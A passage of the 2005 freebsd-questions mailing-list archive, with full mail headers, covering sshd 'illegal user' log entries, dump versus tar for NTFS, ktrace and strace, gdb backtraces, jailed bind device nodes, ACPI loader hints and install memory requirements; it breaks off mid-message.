References: In-Reply-To: X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 cc: freebsd-questions@freebsd.org Subject: Re: Newbie Security Concerns X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:17:54 -0000 On 02/08/05 17:01, crzdgns1@starpower.net wrote: > [...] Last night I was checking my > logs and discovered that sshd reported many illegal users. Does > that mean my system i compromised? As configured, there are only > three accounts on my system, root, toor, and one user account for > me. if the message looks like the one below, there's no need to worry: Feb 8 17:12:04 mars sshd[19022]: Illegal user foo from ::1 that just means somebody tried to get into your system using username "foo". Since the user "foo" doesn't exist the login failed and no harm was done. > [...] I suppose you need more information from me, but am not sure > what to provide. Any help would be greatly appreciated. > you might want to post the actual message you see in your auth.log. but before you post, feed it to your favourite web search engine and dig through the results for any hints -- maybe you can solve your problem alone and learn something new along the way. regards, phil. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:23:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2A6CA16A4D8 for ; Tue, 8 Feb 2005 16:23:14 +0000 (GMT) Received: from mail25.sea5.speakeasy.net (mail25.sea5.speakeasy.net [69.17.117.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id E9D0A43D39 for ; Tue, 8 Feb 2005 16:23:13 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 4399 invoked from network); 8 Feb 2005 16:23:13 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail25.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 8 Feb 2005 16:23:13 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 8FE0F81; Tue, 8 Feb 2005 11:23:12 -0500 (EST) Sender: lowell@be-well.ilk.org To: John References: <20050208070846.A13935@starfire.mn.org> <200502081551.j18FpL012184@clunix.cl.msu.edu> <20050208101559.A14613@starfire.mn.org> From: Lowell Gilbert Date: 08 Feb 2005 11:23:12 -0500 In-Reply-To: <20050208101559.A14613@starfire.mn.org> Message-ID: <44oeev81hr.fsf@be-well.ilk.org> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: freebsd-questions@freebsd.org Subject: Re: Using FreeBSD to migrate Windows XP? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:23:14 -0000 John writes: > Dump cannot work on anthing other than UFS filesystems. Dump > actually separately interprets the filesystem structure. Consider, for > example, that dump works perfectly well on unmounted filesystems. > Dump is DRAMATICALLY different in its operation than tar, cpio, etc. > Since tar and others use the filesystem code, they don't care > what the underlying structure might be, BUT, they are also incapable > of collecting "foreign" information like SIDs and ACLs. This is one of the advantages of the new "BSD tar" (which is the standard tar on FreeBSD 5.3); it can pick up some of the extended attributes. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:24:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2F43016A4CE for ; Tue, 8 Feb 2005 16:24:32 +0000 (GMT) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.FreeBSD.org (Postfix) with ESMTP id B886643D2F for ; Tue, 8 Feb 2005 16:24:31 +0000 (GMT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.13.1/8.13.1) id j18GOT88073139; Tue, 8 Feb 2005 10:24:29 -0600 (CST) (envelope-from dan) Date: Tue, 8 Feb 2005 10:24:29 -0600 From: Dan Nelson To: "Loren M. Lang" Message-ID: <20050208162429.GA82752@dan.emsphone.com> References: <20050208115928.GE8619@alzatex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050208115928.GE8619@alzatex.com> X-OS: FreeBSD 5.3-STABLE X-message-flag: Outlook Error User-Agent: Mutt/1.5.6i cc: FreeBSD Mailing list Subject: Re: ktrace as a replacement for strace X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:24:32 -0000 In the last episode (Feb 08), Loren M. Lang said: > I'm looking for a replacement for the strace program I used to use on > linux; freebsd has a port of strace, but it just hangs everytime I > use it. It looks like the bsd version of strace would be > ktrace/kdump. I was able to get these to print a trace of the > program I ran, but it doesn't do all the nice substatuting that > strace was able to do. Mainly, I just want the first argument of open > to look like a string instead of a 32 bit pointer that I can't read. > I'm trying to figure out what files this program is trying to read so > I can edit it's configuration file. The string in the NAMI line immediately after an open() call is the filename in kdump output. strace actually does work, but I think it's losing a race when it forks the child process. Try suspending and resuming strace: (dan@dan.4) /home/dan> strace date ^Z zsh: 62219 suspended strace date [1] + suspended strace date (dan@dan.4) /home/dan> fg [1] + continued strace date execve(0xbfbfdef4, [0xbfbfe3b8], [/* 0 vars */]) = 0 mmap(0, 3920, PROT_READ|PROT_WRITE, MAP_ANON, -1, 0) = 0x28071000 munmap(0x28071000, 3920) = 0 ... strace hasn't been updated in a while, though, and has problems parsing newer syscalls. Take a look at the truss command in the base system, which does about the same thing as strace. Ktrace has the advantage that it's less intrusive; both strace and truss have to stop the process to print out data, which really slow it down. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:29:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EDF2E16A4CF for ; Tue, 8 Feb 2005 16:29:00 +0000 (GMT) Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39]) by mx1.FreeBSD.org (Postfix) with ESMTP id 960D543D45 for ; Tue, 8 Feb 2005 16:29:00 +0000 (GMT) (envelope-from fbsd-questions@trini0.org) Received: from hivemind.trini0.org (trini0.org[65.34.205.195]) by comcast.net (rwcrmhc13) with ESMTP id <20050208162854015009ga8ue>; Tue, 8 Feb 2005 16:29:00 +0000 Received: from [192.168.0.16] (gladiator.trini0.org [192.168.0.16]) by hivemind.trini0.org (Postfix) with ESMTP id B9A4F6115; Tue, 8 Feb 2005 11:28:53 -0500 (EST) Message-ID: <4208E8C5.7060307@trini0.org> Date: Tue, 08 Feb 2005 11:28:53 -0500 From: Gerard Samuel User-Agent: Mozilla Thunderbird 1.0 (X11/20050122) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Miguel Mendez References: <4208D71C.7000207@trini0.org> <20050208163936.6c2877b2.flynn@energyhq.es.eu.org> In-Reply-To: <20050208163936.6c2877b2.flynn@energyhq.es.eu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Generating Backtrace on FBSD 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:29:01 -0000 Miguel Mendez wrote: >On Tue, 08 Feb 2005 10:13:32 -0500 >Gerard Samuel wrote: > > > >>Im trying to figure out how to generate a >>backtrace from a core dump of subversion, to send >>to subversion developers. >>What tools are available to read a core dump file, >>to generate this backtrace on FreeBSD 5.3? >>I'm trying to understand gdb, but Im not sure if >>this is what I'm looking for. >>$ gdb -c svn.core >> >> > >gdb /path/to/svn svn.core is what you want. But for that to be useful >you need a svn executable built with debugging info. This can be done by >building the port with CFLAGS having the '-g' option and STRIP set to >null, so you don't lose that info while installing. > >(deinstall svn first) >e.g.: cd /usr/ports/devel/subversion && env CFLAGS="-g" STRIP="" make >install > >Then try to reproduce the error and run gdb. Once in gdb use the command >'bt' to get a backtrace. > I'll give that a shot. Thanks From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:35:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1F8AF16A4CE for ; Tue, 8 Feb 2005 16:35:56 +0000 (GMT) Received: from clunix.cl.msu.edu (clunix.cl.msu.edu [35.9.2.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8360743D2D for ; Tue, 8 Feb 2005 16:35:55 +0000 (GMT) (envelope-from jerrymc@clunix.cl.msu.edu) Received: (from jerrymc@localhost) by clunix.cl.msu.edu (8.11.7p1+Sun/8.11.7) id j18GZmo12423; Tue, 8 Feb 2005 11:35:48 -0500 (EST) From: Jerry McAllister Message-Id: <200502081635.j18GZmo12423@clunix.cl.msu.edu> To: john@starfire.mn.org (John) Date: Tue, 8 Feb 2005 11:35:47 -0500 (EST) In-Reply-To: <20050208101559.A14613@starfire.mn.org> from "John" at Feb 08, 2005 10:15:59 AM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: Jerry McAllister cc: freebsd-questions@freebsd.org Subject: Re: Using FreeBSD to migrate Windows XP? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:35:56 -0000 > > On Tue, Feb 08, 2005 at 10:51:20AM -0500, Jerry McAllister wrote: > > > > > > OK - I've finally come to the realization (a little slow, I know) > > > that a 5.8Gb disk drive is just not enough to support a desktop > > > environment (including JAVA) for both Windows XP and FreeBSD on my > > > laptop. :( > > > > > > I have used dump(8) to dump out my filesystems. I am wondering > > > if I can just use "dd" to dump out all of /dev/ad0s1 also, > > > and then use "dd" to put it back again when I'm done. Then > > > I'd boot the installation CD into "fixit" mode, build a new > > > MBR, make sure that the new s1 was the same or very slightly larger > > > than the old s1, and use dd to put it back again. Can anyone > > > speak to either the "doomed to failure" or "I've done this and > > > it works" scenarios? > > > > I presume that /dev/ad0s1 is your MS-DOS slice? > > I have never done this, but you might try using dump(8) > > and restore(8) to move it as well as the others. I would > > trying dumping it somewhere and then restoring it somewhere > > harmless just to check first. If you keep the old disk and > > do nothing to harm it, then you could try this to the new > > disk and if it works (eg Messy Dos works), fine. If it doesn't > > work then you still have the original on the old disk to go > > back to and try something else. > > > > As you mention, make the slices and partitions on the new disk > > and put in the MBR. Then do the restores. You might need to > > do something to put in a MSDOS boot partition on the new S1 as well. > > Well, it's NOT really an MS-DOS slice. Winxp uses the NT filesystem, > NOT MS-DOS. > > Dump cannot work on anthing other than UFS filesystems. Dump > actually separately interprets the filesystem structure. Consider, for > example, that dump works perfectly well on unmounted filesystems. > Dump is DRAMATICALLY different in its operation than tar, cpio, etc. > Since tar and others use the filesystem code, they don't care > what the underlying structure might be, BUT, they are also incapable > of collecting "foreign" information like SIDs and ACLs. > -- Sounds probable. Just wanted to know if it would be possible. ////jerry > > John Lind > john@starfire.MN.ORG > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:36:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6825016A4CE for ; Tue, 8 Feb 2005 16:36:58 +0000 (GMT) Received: from ns1.tiadon.com (SMTP.tiadon.com [69.27.132.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0BCD643D58 for ; Tue, 8 Feb 2005 16:36:58 +0000 (GMT) (envelope-from kdk@daleco.biz) Received: from [69.27.131.0] ([69.27.131.0]) by ns1.tiadon.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 8 Feb 2005 10:36:53 -0600 Message-ID: <4208EAA5.1000304@daleco.biz> Date: Tue, 08 Feb 2005 10:36:53 -0600 From: Kevin Kinsey User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: =?ISO-8859-2?Q?P=E1sztor_Rich=E1rd?= References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 8bit X-OriginalArrivalTime: 08 Feb 2005 16:36:53.0661 (UTC) FILETIME=[658D5CD0:01C50DFC] cc: freebsd-questions@freebsd.org Subject: Re: Sysinstall problem with network settings X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:36:58 -0000 Pásztor Richárd wrote: >I installed 4.11 Release recently. If i configure my network with >sysinstall during the install procedure, everythin works fine. But if i >skip network config, and want to do it after finishing setup, sysintall >doesnt save my settings. > >I setup hostname, ip address, gateway, dns etc. then it asks for >bringing up the interface. I choose yes, and i see a packet sent out >from my machine to the switch. But after quitting sysintall, and typing >"ifconfig tx0" it seems nothing has changed (no ip, interface is not >UP). Could it be a bug? As i can remember, the same happened with 4.10. > >Thx! >ricsip > > > I have no idea if this is a bug or not. It's possible, but I don't know how likely, as it's definitely not a common complaint on this list. Have you checked the PR database to see if you can find any mention of this? Keep in mind that sysinstall is meant to *install* the system, not administrate it on a daily basis (/me dons asbestos underclothing), generally speaking. What do you get from %cat /etc/rc.conf ?? Kevin Kinsey From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:40:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 65B2016A4E7 for ; Tue, 8 Feb 2005 16:40:25 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 24AC843D3F for ; Tue, 8 Feb 2005 16:40:25 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 767C451297; Tue, 8 Feb 2005 08:40:24 -0800 (PST) Date: Tue, 8 Feb 2005 08:40:24 -0800 From: Kris Kennaway To: "bsd @ todoo. biz" Message-ID: <20050208164024.GA43179@xor.obsecurity.org> References: <365b15da0d47b600ccf5fff25e3f440f@todoo.biz> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="qDbXVdCdHGoSgWSk" Content-Disposition: inline In-Reply-To: <365b15da0d47b600ccf5fff25e3f440f@todoo.biz> User-Agent: Mutt/1.4.2.1i cc: Liste FreeBSD Subject: Re: Problem with mknod for /dev/random => jailed bind configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:40:25 -0000 --qDbXVdCdHGoSgWSk Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Feb 08, 2005 at 03:38:27PM +0100, bsd @ todoo. biz wrote: > Hello, >=20 > I've tried to configure a bind server in a chroot jail and am facing a=20 > problem with /dev/random > Thaugh I've read the man mknod I have to say that this didn't help me=20 > in solving the problem. >=20 > When I start named with the -g switch here are the error. >=20 > >08-Feb-2005 15:18:22.551 errno2result.c:109: unexpected error: > >08-Feb-2005 15:18:22.551 unable to convert errno to isc_result: 6:=20 > >Device not configured > >08-Feb-2005 15:18:22.551 could not open entropy source /dev/random:=20 > >unexpected error > >08-Feb-2005 15:18:22.551 using pre-chroot entropy source /dev/random >=20 > I've used the following mknod command : >=20 > mknod /var/named/dev/null c 2 2 > mknod /var/named/dev/random c 2 3 >=20 > and also tried : >=20 > mknod random c 245 0 > mknod null c 2 2 >=20 > I've chmod 666 the two files and make shure they are owned by bind:bind= =20 > // ?? You forgot to mention what version of FreeBSD you're running. If it's 5.x, you need to mount an appropriately configured devfs inside the jail. See the jail and devfs manpages. Kris --qDbXVdCdHGoSgWSk Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCOt3Wry0BWjoQKURAsUGAJ4pd9XGMnRmi8+qbYG1c7wNA/ydYACeIXrD TeA/vaJH6ppVehg2O2YEjTM= =5Ure -----END PGP SIGNATURE----- --qDbXVdCdHGoSgWSk-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:50:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 776D116A4CE for ; Tue, 8 Feb 2005 16:50:49 +0000 (GMT) Received: from medusa.horseweb.com (medusa.horseweb.com [65.101.176.170]) by mx1.FreeBSD.org (Postfix) with ESMTP id E3BE943D4C for ; Tue, 8 Feb 2005 16:50:48 +0000 (GMT) (envelope-from john@horseweb.com) Received: from john by medusa.horseweb.com with local (Exim 3.12 #1) id 1CyYaq-0006Ar-00 for freebsd-questions@freebsd.org; Tue, 08 Feb 2005 09:52:04 -0700 Date: Tue, 8 Feb 2005 09:52:04 -0700 From: John Bolding To: freebsd-questions@freebsd.org Message-ID: <20050208095204.A23601@medusa.horseweb.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i Subject: Re: Problem while installing FreeBSD 5.3 - ata0-master : FAILURE ATA IDENTIFY X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:50:49 -0000 This known problem cropped up on a brand new 1U system I installed and nothing in the referred to errata appeared to help. > > http://www.freebsd.org/releases/5.2.1R/errata.html > However, I finally got the group at freebsdmall to respond, and their ideas did resolve this issue. Why does the info in the errata NOT work? Two reasons: (1) I was using the loader.conf line with a "set" as the first word, like this set hint.acpi.0.disabled="1" # This does NOT work and (2), the variable I was told to use is NOT hint.acpi.0.disabled but is in fact hint.apic.0.disabled. I did read the section with the `apic' variable, but it did not seem to apply, whereas the section about the `acpi' variable did seem to apply. So, the following two lines, exactly like this, worked for me in my loader.conf, and I can now boot without safe mode: hint.apic.0.disabled="1" unset acpi_load No leading blanks, no use of the word "set", use of the variable with `apic' in it (and not acpi). The unset does turn off `acpi'. All is well now. Regards from Tucson, -cc From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 17:00:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F411A16A4CE for ; Tue, 8 Feb 2005 17:00:07 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5A84643D31 for ; Tue, 8 Feb 2005 17:00:06 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 5D339514FE; Tue, 8 Feb 2005 09:00:04 -0800 (PST) Date: Tue, 8 Feb 2005 09:00:03 -0800 From: Kris Kennaway To: Ramiro Aceves Message-ID: <20050208170002.GA43599@xor.obsecurity.org> References: <200502072107.38331.me@danielquinn.org> <20050207222811.U24265@frambozen.monochrome.org> <200502072252.53881.danstemporaryaccount@yahoo.ca> <20050208040333.GA32748@xor.obsecurity.org> <4208EF03.8070904@wanadoo.es> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="C7zPtVaVf+AK4Oqc" Content-Disposition: inline In-Reply-To: <4208EF03.8070904@wanadoo.es> User-Agent: Mutt/1.4.2.1i cc: questions@FreeBSD.org Subject: >16MB memory requirement for 5.3 install (Re: cracked out floppy install) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 17:00:08 -0000 --C7zPtVaVf+AK4Oqc Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Feb 08, 2005 at 05:55:31PM +0100, Ramiro Aceves wrote: > Kris Kennaway wrote: > >On Mon, Feb 07, 2005 at 10:52:53PM -0500, daniel wrote: > > > >>On February 7, 2005 10:40 pm, Chris Hill wrote: > >> > >>>On Mon, 7 Feb 2005, daniel wrote: > >>> > >>>>i've been trying to install freebsd-5.3RELEASE on this old computer on > >>>>and off for days now. i downloaded the floppies, watched the thing > >>>>boot and each and every time, it'll get to the little beastie prompt > >>>>where it counts down and is *supposed* to run sysinst but instead, it > >>>>just reboots! > >>> > >>>That's just peculiar. Maybe you need more RAM? Couldn't hurt, anyway. > >>>The 16M you cite below seems a bit meager. > >> > >>well the handbook says freebsd5 has a minimum requirement of 8mb, so 16= =20 > >>should be fine. but even if it weren't, you'd think there'd be some fo= rm=20 > >>of useful error message instead of just rebooting. it just makes no=20 > >>sense. > > > > > >In practise no-one tests running on minuscule-memory configurations, > >so it's possible that 8mb or even 16mb is not in fact enough thesedays. > > > >Anyway, it's possible something else is wrong. Did you try the other > >boot modes, e.g. disabling acpi, running in 'safe mode', etc? In > >particular, many older systems have buggy BIOS implementations that do > >not allow them to run with acpi, even though the BIOS thinks they can. > > > >Kris >=20 > In my experience, I was not able to install FreeBSD 5.3 in an old=20 > pentium 16 MB RAM. I experienced the same reboot problem. 32 MB fixed=20 > the issue and it installed fine. I could not test with 24 MB, but=20 > perhaps it will work. Sounds like memory is indeed the issue then - is the original poster able to confirm this? If so, one of you should submit a PR requesting that the docs be updated. Kris --C7zPtVaVf+AK4Oqc Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCPARWry0BWjoQKURAiorAJwK/vHTPI3mseM+Yi+YF3Y6VKpmLQCg7J+w /HPeL1gEhtPSDCSeVplX2Nw= =58yG -----END PGP SIGNATURE----- --C7zPtVaVf+AK4Oqc-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 17:03:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1C4C916A4CE for ; Tue, 8 Feb 2005 17:03:55 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9E0E243D3F for ; Tue, 8 Feb 2005 17:03:54 +0000 (GMT) (envelope-from cmorland@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so932263wri for ; Tue, 08 Feb 2005 09:03:54 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=SM5ksN66z/cZhbis53zio3yzBbA5HQX94Xs89z3KihRnqrHjyW7h42UCBD35/1dBbiqWEfqdq4XKq9nOlFoWO3qTxBB74HNowTE1HwKQ1GBNP7reulxwwXCTjfPxJ7ft82nbMNQzpqNAlZQl3bbIMbMXdfRuhZy1cb243fwSWQQ= Received: by 10.54.42.8 with SMTP id p8mr65474wrp; Tue, 08 Feb 2005 08:57:13 -0800 (PST) Received: by 10.54.28.49 with HTTP; Tue, 8 Feb 2005 08:57:13 -0800 (PST) Message-ID: <8ca93290502080857aceb424@mail.gmail.com> Date: Tue, 8 Feb 2005 11:57:13 -0500 From: Chad Morland To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Orion Application Server port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Chad Morland List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 17:03:55 -0000 What happened to the Orion application server port? I am reading articles that say there is a port for it. I am using the latest port on 4.10 and the only Orion I can find is in x11-wm. Is there a seperate mailing list to track changes in the ports tree? -CM From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 17:04:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 631C116A4D3 for ; Tue, 8 Feb 2005 17:04:02 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id D22B543D39 for ; Tue, 8 Feb 2005 17:04:01 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j18H41U14926 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 11:04:01 -0600 (CST) (envelope-from john) Date: Tue, 8 Feb 2005 11:04:01 -0600 From: John To: freebsd-questions@freebsd.org Message-ID: <20050208110401.B14613@starfire.mn.org> References: <20050208070846.A13935@starfire.mn.org> <200502081551.j18FpL012184@clunix.cl.msu.edu> <20050208101559.A14613@starfire.mn.org> <44oeev81hr.fsf@be-well.ilk.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <44oeev81hr.fsf@be-well.ilk.org>;11:23:12AM -0500 Subject: Re: Using FreeBSD to migrate Windows XP? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 17:04:02 -0000 On Tue, Feb 08, 2005 at 11:23:12AM -0500, Lowell Gilbert wrote: > John writes: > > > Dump cannot work on anthing other than UFS filesystems. Dump > > actually separately interprets the filesystem structure. Consider, for > > example, that dump works perfectly well on unmounted filesystems. > > Dump is DRAMATICALLY different in its operation than tar, cpio, etc. > > Since tar and others use the filesystem code, they don't care > > what the underlying structure might be, BUT, they are also incapable > > of collecting "foreign" information like SIDs and ACLs. > > This is one of the advantages of the new "BSD tar" (which is the > standard tar on FreeBSD 5.3); it can pick up some of the extended > attributes. True, but I think it is still a LONG WAYS from being able to back up and restore an NT Filesystem. We don't really write to NT filesystems at all, in the general case. -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 17:16:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4B7F316A4CF for ; Tue, 8 Feb 2005 17:16:12 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id CB02543D1F for ; Tue, 8 Feb 2005 17:16:11 +0000 (GMT) (envelope-from cmorland@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so934550wri for ; Tue, 08 Feb 2005 09:16:11 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=uKM5PioV+QngBgdWdG/eoSHEP2TJ5oju/3baFzPRJZS3QX/owAds772Qk/Yh1HPSOf6w+VCWcCbWQZ1uOG1gllOdy/B4HMsKcVi0j3emKizcqPfLbEkXZn4nA8Pv1qyp1MygGfE7zRb7EL4nCgmMIM+lNq/ov7PaY8lCu/ivB4s= Received: by 10.54.54.71 with SMTP id c71mr192986wra; Tue, 08 Feb 2005 09:16:11 -0800 (PST) Received: by 10.54.28.49 with HTTP; Tue, 8 Feb 2005 09:16:11 -0800 (PST) Message-ID: <8ca9329050208091625c28d07@mail.gmail.com> Date: Tue, 8 Feb 2005 12:16:11 -0500 From: Chad Morland To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Best JDK for performance? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Chad Morland List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 17:16:12 -0000 Which JDK gives the best performance on FreeBSD? I have the following installed from ports: /usr/local/jdk1.4.2 